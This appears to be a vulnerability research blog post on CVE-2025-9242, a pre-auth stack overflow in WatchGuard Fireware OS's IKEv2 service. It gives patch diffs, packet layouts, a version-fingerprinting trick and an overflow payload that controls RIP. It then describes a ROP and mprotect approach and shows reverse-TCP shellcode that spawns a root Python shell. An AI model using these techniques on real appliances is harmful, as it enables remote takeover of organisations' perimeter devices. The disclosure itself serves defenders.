# yIKEs (WatchGuard Fireware OS IKEv2 Out-of-Bounds Write CVE-2025-9242)
> Note from editor: Before we begin, a big welcome to McCaulay Hudson, the newest member of the watchTowr Labs team with his inaugural blog post! Welcome to the mayhem, McCaulay!
Today is the 8th of November 1996, and we’re thrilled to be exploring this new primitive we call Sack-based Buffer Overflows. It’s a great time to be alive, especially because we don’t have to deal with any of the pain of modern/not-so-modern mitigations.
**Oh no, wait, it’s 2025 and we are still seeing Stack-based Buffer Overflows in enterprise-grade appliances, and of course, lacking mainstream exploit mitigations.**
Today, we’re diving into CVE-2025-9242 – a vulnerability centered around a modern-day (ha ha) primitive inside WatchGuard’s Fireware OS, the operating system powering WatchGuard’s bright-red Firebox network security appliances. Or, put differently, an Out-of-bounds Write vulnerability in the WatchGuard Fireware OS (in WatchGuard’s own words) in 2025.
WatchGuard appliances running Fireware OS aren’t just firewalls; they’re VPN concentrators, policy enforcement engines, intrusion prevention systems, and in many cases, the first and last line of defense for an entire organization.
> The word “defense” is doing a lot of lifting here, in our opinion.
This blog post will walk readers through our analysis and reproduction of CVE-2025-9242 in Fireware OS. For those curious, the official WatchGuard advisory can be found here.
### Who is WatchGuard and what is Fireware OS
WatchGuard is a long-standing security vendor that claims to protect more than _250,000 small and midsize enterprises_ globally – securing over 10 million endpoints according to their own site.
Their appliances run Fireware OS, an all-in-one edge platform that aims to be the Swiss Army knife of network security. It packs intrusion prevention, antivirus, web filtering, and even a VPN feature that lets your devices whisper secrets through encrypted tunnels between networks.
In short, Fireware OS is the software brain of WatchGuard’s Firebox hardware – those glossy red boxes sitting proudly in server racks, guarding the boundary between your private network and the public internet.
### What is CVE-2025-9242
CVE-2025-9242 (so catchy) gets a CVSS4.0 score of 9.3 (not comparable to CVSS3.1 scores), marked as ‘Critical’ and according to WatchGuard affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
According to WatchGuard, this vulnerability affects Fireware OS versions:
– 11.10.2 up to and including 11.12.4_Update1,
– 12.0 up to and including 12.11.3 and 2025.1.
Here’s how WatchGuard describes this vulnerability:
> An Out-of-bounds Write vulnerability in the WatchGuard Fireware OS iked process may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the mobile user VPN with IKEv2 and the branch office VPN using IKEv2 when configured with a dynamic gateway peer.
> If the Firebox was previously configured with the mobile user VPN with IKEv2 or a branch office VPN using IKEv2 to a dynamic gateway peer, and both of those configurations have since been deleted, that Firebox may still be vulnerable if a branch office VPN to a static gateway peer is still configured.
Let’s summarize, and see if we’re looking at a vulnerability that has all the characteristics your friendly neighbourhood ransomware gangs love to see:
– Affects a typically Internet-exposed service (the IKEv2 VPN service)
– Is exploitable/reachable pre-authentication
– Execute arbitrary code on a perimeter appliance
As we walk through today’s analysis, we’ll also discover whether WatchGuard (who develops security appliances and presumably aware of security practices) is aware of “modern-day” exploitation mitigations.
Before we move on, here’s a reminder: “WatchGuard enables more than 250,000 small and midsize enterprises from around the globe to protect their most important assets, including over 10 million endpoints.”
yIKEs.
### Patch Diffing – CVE-2025-9242
As we always do when analyzing N-days, our first job was to identify where the vulnerable code resides and begin to determine what the patch. For these purposes, we compared the following versions of Fireware OS:
– 12.11.3 (unpatched)
– 12.11.4 (patched).
Very quickly, we identified suspicious changes within `/usr/bin/iked` aligning with our understanding of where the vulnerable code had been resolved (within the IKEv2 service). Although there were a multitude of changes, we quickly honed in on code changes within the `ike2_ProcessPayload_CERT` function.
The following snippet of code is our reconstruction of the `ike2_ProcessPayload_CERT` function within the vulnerable `12.11.3` firmware version.
We have removed some code for brevity:
“`
// src/ike/iked/v2/ike2_payload_cert.c int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld) { char identification [520]; memset(identification, 0, sizeof(identification)); … // Vulnerability: Stack-based buffer overflow // * pIDPld.identification is an attacker-controlled buffer // * identification is a fixed size stack buffer of 520 bytes memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length); … int status = CMgrValidateCert_GetPubKey(…); if (status != 0) wglog_trace_r(“failed to validate received peer certificate”); wglog_trace_r(“successfully validated received peer certificate”); }
“`
In summary, this code is designed to copy a client “identification” to a local stack buffer, and then validate the provided client SSL certificate.
Looking at the same function within the patched `12.11.4` firmware version, we can see the introduction of an additional length check on the identification buffer (highlighted beneath the comment `// CVE-2025-9242 length check patch`:
“`
// src/ike/iked/v2/ike2_payload_cert.c int ike2_ProcessPayload_CERT(uint8_t *pIkeSA, p_id_t *pIDPld) { char identification [512]; memset(identification, 0, sizeof(identification)); … // CVE-2025-9242 length check patch if (pIDPld.identification.length > 0x200) { wglog_trace_r(“received ID data legth(%d) is larger than expected length”, gProgram, pIDPld.identification.length); return -1; } memcpy(identification, pIDPld.identification.buffer, pIDPld.identification.length); … int status = CMgrValidateCert_GetPubKey(…); if (status != 0) wglog_trace_r(“failed to validate received peer certificate”); wglog_trace_r(“successfully validated received peer certificate”); }
“`
After spotting the patch, the next steps on our path to reproducing this vulnerability became clear: We needed to pull teeth, poke ourselves in the eyes, and begin to figure out in detail how the IKE protocol ultimately triggers the vulnerable function.
This would allow us to build mechanisms to identify vulnerable appliances and exploit the vulnerability.
### IKEv2, A Primer
As a very quick explainer for those unfamiliar, IKEv2 is a protocol that typically operates on UDP port 500 and is primarily responsible for establishing Virtual Private Network (VPN) tunnels.
At a high level, it handles the secure negotiation of encryption parameters, authentication, and key exchange between two peers.
The unauthenticated portion of the protocol consists of two initial packet exchanges:
Based on the above, the vulnerable code (the `Identification` portion) is processed during `IKE_SA_AUTH`. That means we must deliver two packets to the WatchGuard IKE service to reach the vulnerable code path:
– An `IKE_SA_INIT` packet, followed by
– An `IKE_SA_AUTH` packet.
Let’s dig a little deeper into the protocol.
### Part 1 – IKE_SA_INIT
To explain what is happening here:
The first packet’s job is simple but important – it kicks off the Diffie-Hellman key exchange. Here, the client proposes the cryptographic transforms it supports, sends over its public key, and drops in a nonce for good measure.
Or, put differently: it’s the protocol’s version of a handshake, where both sides agree on how they’ll talk securely. No authentication happens yet; it’s just the client and server trading math problems to set up a shared secret.
Below, the `IKE_SA_INIT` packet – shown as a tree – highlights the mandatory fields required for this initial exchange:
“`
Internet Security Association and Key Management Protocol Initiator SPI: aae76f3726073034 Responder SPI: 0000000000000000 Next payload: Security Association (33) Version: 2.0 Exchange type: IKE_SA_INIT (34) Flags: 0x08 (Initiator, No higher version, Request) Message ID: 0x00000000 Length: 548 Payload: Security Association (33) Payload: Proposal (2) # 1 Payload: Transform (3) Transform Type: Encryption Algorithm (ENCR) (1) Transform ID (ENCR): ENCR_AES_CBC (12) Transform Attribute (t=14,l=2): Key Length: 256 Payload: Transform (3) Transform Type: Pseudo-random Function (PRF) (2) Transform ID (PRF): PRF_HMAC_SHA2_256 (5) Payload: Transform (3) Transform Type: Integrity Algorithm (INTEG) (3) Transform ID (INTEG): AUTH_HMAC_SHA2_256_128 (12) Payload: Transform (3) Transform Type: Diffie-Hellman Group (D-H) (4) Transform ID (D-H): 2048 bit MODP group (14) Payload: Key Exchange (34) Payload: Nonce (40) Payload: Notify (41) – NAT_DETECTION_DESTINATION_IP Payload: Notify (41) – NAT_DETECTION_SOURCE_IP Payload: Vendor ID (43) : Unknown Vendor ID Payload: Vendor ID (43) : Unknown Vendor ID Payload: Vendor ID (43) : Cisco Fragmentation Payload: Vendor ID (43) : Cisco Fragmentation Payload: Notify (41) – IKEV2_FRAGMENTATION_SUPPORTED Payload: Notify (41) – REDIRECT_SUPPORTED Payload: Notify (41) – SIGNATURE_HASH_ALGORITHMS
“`
If the server accepts the proposed transforms, it replies with its own public key, nonce, and the chosen set of transforms.
In other words, it agrees on the cryptographic rules of engagement – how both sides will talk securely from this point onward.
### Part 2 – IKE_SA_AUTH
The second packet carries an encrypted payload protected with the transforms negotiated within the `IKE_SA_INIT` ‘handshake’. A shared secret derived from the Diffie–Hellman exchange is used to encrypt this payload.
This packet is noteworthy, though, for our purposes: it can include both the **Identification – Initiator** payload and the **Certificate** payload, which is exactly where the vulnerable function is invoked.
The server does attempt certificate validation, but that validation happens after the vulnerable code runs, allowing our vulnerable code path to be reachable pre-authentication:
“`
Internet Security Association and Key Management Protocol Initiator SPI: aae76f3726073034 Responder SPI: f1b3cf883e18a45c Next payload: Encrypted and Authenticated (46) Version: 2.0 Exchange type: IKE_AUTH (35) Flags: 0x08 (Initiator, No higher version, Request) Message ID: 0x00000001 Length: 1616 Payload: Encrypted and Authenticated (46) Initialization Vector: 57401bf413505f5550173a07d778d68f (16 bytes) Encrypted Data (1552 bytes) Decrypted Data (1552 bytes) Contained Data (1538 bytes) Payload: Identification – Initiator (35) <— Payload length: 521 ID type: FQDN (2) […] Identification Data:(A*513) <— Payload: Certificate (37) <— Payload: Notify (41) – INITIAL_CONTACT Payload: Notify (41) – HTTP_CERT_LOOKUP_SUPPORTED Payload: Certificate Request (38) Payload: Configuration (47) Payload: Security Association (33) Payload: Traffic Selector – Initiator (44) # 1 Payload: Traffic Selector – Responder (45) # 1 Payload: Vendor ID (43) : RFC 3706 DPD (Dead Peer Detection) Payload: Notify (41) – MOBIKE_SUPPORTED Payload: Notify (41) – MULTIPLE_AUTH_SUPPORTED Padding (13 bytes) Pad Length: 13 Integrity Checksum Data: 3e2683f32beaaddeb8f3f0d43f7b0b2b (16 bytes) [correct]
“`
### Version Fingerprinting
While knee-deep in the IKEv2 protocol, watching packets fly between the client and WatchGuard’s VPN service, something odd stood out – a base64 string embedded in the server’s response. That immediately raised an eyebrow.
After spending more hours than we care to admit wading through IKE-related RFCs, we hadn’t seen a single mention of base64 data anywhere in the specification.
Digging deeper, it became clear this wasn’t some undocumented quirk – it was a custom `Vendor ID` payload unique to WatchGuard’s implementation.
“`
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ….V..6…H…. 00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[….jI…2{.`. 00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC 00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
“`
As you might have noticed, the Vendor ID begins with a 32-byte hash — standard fare for IKE — but it’s immediately followed by something less familiar: a base64-encoded string.
– `bfc22e9856ba993611c11e48a6d20807a95bedb393026a49e60fac327bb9601b`
– `Vk49MTIuMTEuMyBCTj03MTk4OTQ=`
So what’s this mystery string?
“`
~ # echo ‘Vk49MTIuMTEuMyBCTj03MTk4OTQ=’ | base64 -d VN=12.11.3 BN=719894
“`
Jackpot! We see two parameters:
– `VN (Version Number)`: 12.11.3
– `BN (Build Number)`: 719894
This is useful – vulnerability reproduction aside, we now have a reliable mechanism to fingerprint the version of WatchGuard Firmware OS in use, unauthenticated and with a single UDP packet.
### Triggering The Overflow
Version identification, unauthenticated and reliable, is great – but we want more. We want to prove an appliance is vulnerable and exploitable, ideally not by matching some numbers to another list of numbers.
Let’s take stock of what we have:
– We know roughly how the IKEv2 protocol works to the point of reaching the vulnerability,
– We can fingerprint a server to check if it’s vulnerable based on the version number.
Time to take this all way too far..
Before we quite see shells pour down around us, we first need to negotiate and determine the supported transformations within the WatchGuard IKEv2 service.
By default, in WatchGuard Fireware OS v12.11.3, the following transformations are supported:
Transform**Key Group**SHA2-256-AES(256-bit)Diffie-Hellman Group 14SHA1-AES(256-bit)Diffie-Hellman Group 5SHA1-AES(256-bit)Diffie-Hellman Group 2SHA1-3DESDiffie-Hellman Group 2
After the Diffie–Hellman exchange completes, the client sends the `IKE_SA_AUTH` packet. That encrypted message can carry a number of payloads, including the `Identification – Initiator` payload – ultimately processed and handed to the vulnerable routine.
Under normal operation, the identification field is a short, benign string – something like “WatchGuard.” However, in this instance, we’re being more problematic – we are sending the letter `A` 520 times which fills the fixed stack buffer we saw previously, followed by various other values:
“`
identification = ( b’A’ * 520 + b’B’ * 8 + # b’C’ * 8 + # b’D’ * 8 + # RBX b’E’ * 8 + # R12 b’F’ * 8 + # R13 b’G’ * 8 + # R14 b’H’ * 8 + # R15 b’I’ * 8 + # RBP b’\xDE\xAD\xBE\xEF\x13\x37\xC0\xD3′ # RIP )
“`
In x86-64, various register values are stored on the stack at the start of the function.
The function body runs with those saved values pushed aside. At the end of the function, it restores the saved registers by popping them back off the stack so the caller’s register state is intact when control returns.
In short, the start of the function pushes registers onto the stack; the end of the function pops them back and restores the CPU state:
“`
0041f5ba 5b POP RBX 0041f5bb 41 5c POP R12 0041f5bd 41 5d POP R13 0041f5bf 41 5e POP R14 0041f5c1 41 5f POP R15 0041f5c3 5d POP RBP 0041f5c4 c3 RET
“`
However, in this case, when the Identification buffer overruns the stack and because we have corrupted those values, the function ends up popping our attacker-controlled values into the registers.
In our example `RBX` receives `0x44444444…` ( `DDDDDDDD`), `R12` receives `0x45454545…` ( `EEEEEEEE`), and so on until the final `RET` pops `0xDEADBEEF1337C0D3` into `RIP`, the program counter.
Sending this payload to a vulnerable WatchGuard IKEv2 service produces a corrupted register and stack state similar to the one shown below:
“`
Program received signal SIGSEGV, Segmentation fault. 0x0000000000537a5f in ?? () (gdb) i r rax 0x12 18 rbx 0x4444444444444444 4919131752989213764 rcx 0x1 1 rdx 0x7fffffffd978 140737488345464 rsi 0x612e88 6368904 rdi 0x0 0 rbp 0x4949494949494949 0x4949494949494949 rsp 0x7fffffffdca8 0x7fffffffdca8 r8 0x0 0 r9 0x0 0 r10 0x40 64 r11 0x246 582 r12 0x4545454545454545 4991471925827290437 r13 0x4646464646464646 5063812098665367110 r14 0x4747474747474747 5136152271503443783 r15 0x4848484848484848 5208492444341520456 rip 0x537a5f 0x537a5f eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/1i $pc => 0x537a5f: retq (gdb) x/8xb $rsp 0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3 (gdb) x/136xb $rsp-128 0x7fffffffdc28: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc30: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc38: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc40: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc48: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc50: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc58: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc60: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x7fffffffdc68: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x7fffffffdc70: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x7fffffffdc78: 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x44 0x7fffffffdc80: 0x45 0x45 0x45 0x45 0x45 0x45 0x45 0x45 0x7fffffffdc88: 0x46 0x46 0x46 0x46 0x46 0x46 0x46 0x46 0x7fffffffdc90: 0x47 0x47 0x47 0x47 0x47 0x47 0x47 0x47 0x7fffffffdc98: 0x48 0x48 0x48 0x48 0x48 0x48 0x48 0x48 0x7fffffffdca0: 0x49 0x49 0x49 0x49 0x49 0x49 0x49 0x49 0x7fffffffdca8: 0xde 0xad 0xbe 0xef 0x13 0x37 0xc0 0xd3
“`
**Note**: RIP is not `0xDEADBEEF1337C0D3` as it is not a valid address, and the program triggers a segmentation fault first, however, the next instruction is shown as `retq` and the top of the stack shows `DEADBEEF1337C0D3`.
### It’s Hammer Time – ROP, Shell, Jump
After gaining control of `$RIP` , this situation may appear trivial to exploit to the casual eye. However, due to a limited number of ROP gadgets available, this is not the case (as always, life is not so simple).
As we eluded to above, we were wildly disappointed to see that almost all exploit mitigations are not in use – a sorry state of affairs for an appliance in 2025, let alone a security appliance.
At least the NX bit mitigation is enabled, we guess, giving us some reprieve from trivial direct execution of code:
Instinctively, our next step was to create a ROP chain to execute `system(“”)` as it was already an imported function in `/usr/bin/iked`.
But once again, living in this parallel universe, you may be surprised to learn that there is no `/bin/sh` in the WatchGuard OS v12.11.3 (like there is no PIE, or stack canaries – sekurity!). Lightweight and efficient!
For those unfamiliar, the C library function `system` ultimately calls `execve` with `/bin/sh -c “{cmd}”`.
Notably, Fireware OS v12.11.3 did not include any full interactive shell, including `/bin/bash` or `/bin/ash`. This omission slightly raised the bar for exploitation and, intentionally or not, made our lives harder.
Even more notablyer (ha ha), WatchGuard is one of the few vendors that ship without a default shell in this context.
(We may or may not have written the entire ROP chain to use `system` before noticing the lack of `/bin/sh`)
With this cold and bleak reality shoved in our faces, our next option was to build a ROP chain that calls `mprotect` to make the stack executable, defeating the mitigations provided by NX.
After calling `mprotect` with the address of our stack and marking it as executable, we are then able to carefully place our shellcode in the buffer, and then trigger the ROP chain to directly execute our shellcode from the stack.
While there are always several payload options for shellcode in these situations, because the device lacked a standard interactive shell, we chose a compact reverse TCP payload that spawned an interactive Python interpreter.
The following C code represents the execution that the shellcode does:
“`
char *argv[] = { “/usr/bin/python3”, “-i”, “-u”, NULL }; // Setup server address struct sockaddr_in serv_addr; memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(target_port); inet_aton(target_ip, &serv_addr.sin_addr); // Connect to remote host int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); // Duplicate descriptors (stdout,stdin,stderr) dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); // Spawn python3 interactive shell over TCP execve(“/usr/bin/python3”, argv, NULL);
“`
And just like that, we are able to demonstrate a working remote Python shell running as root on our target, a vulnerable WatchGuard appliance.
To escalate this foothold, we have a host of options – including:
– Directly executing `execve` within Python in order to remount the filesystem as read/write.
– Downloading a BusyBox busybox binary onto the target
– Symlinking `/bin/sh` to the BusyBox binary
– And kaboom – allowing us to gain a more familiar full Linux shell.
### Detection Artefact Generator
As is tradition and to enable defenders, we’ve produced a Detection Artefact Generator to demonstrate and achieve pre-auth Remote Code Execution (RCE) at home.
This artwork can be found at watchtowrlabs/watchTowr-vs-WatchGuard-CVE-2025-9242
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single **Preemptive Exposure Management** capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: **time to respond.**
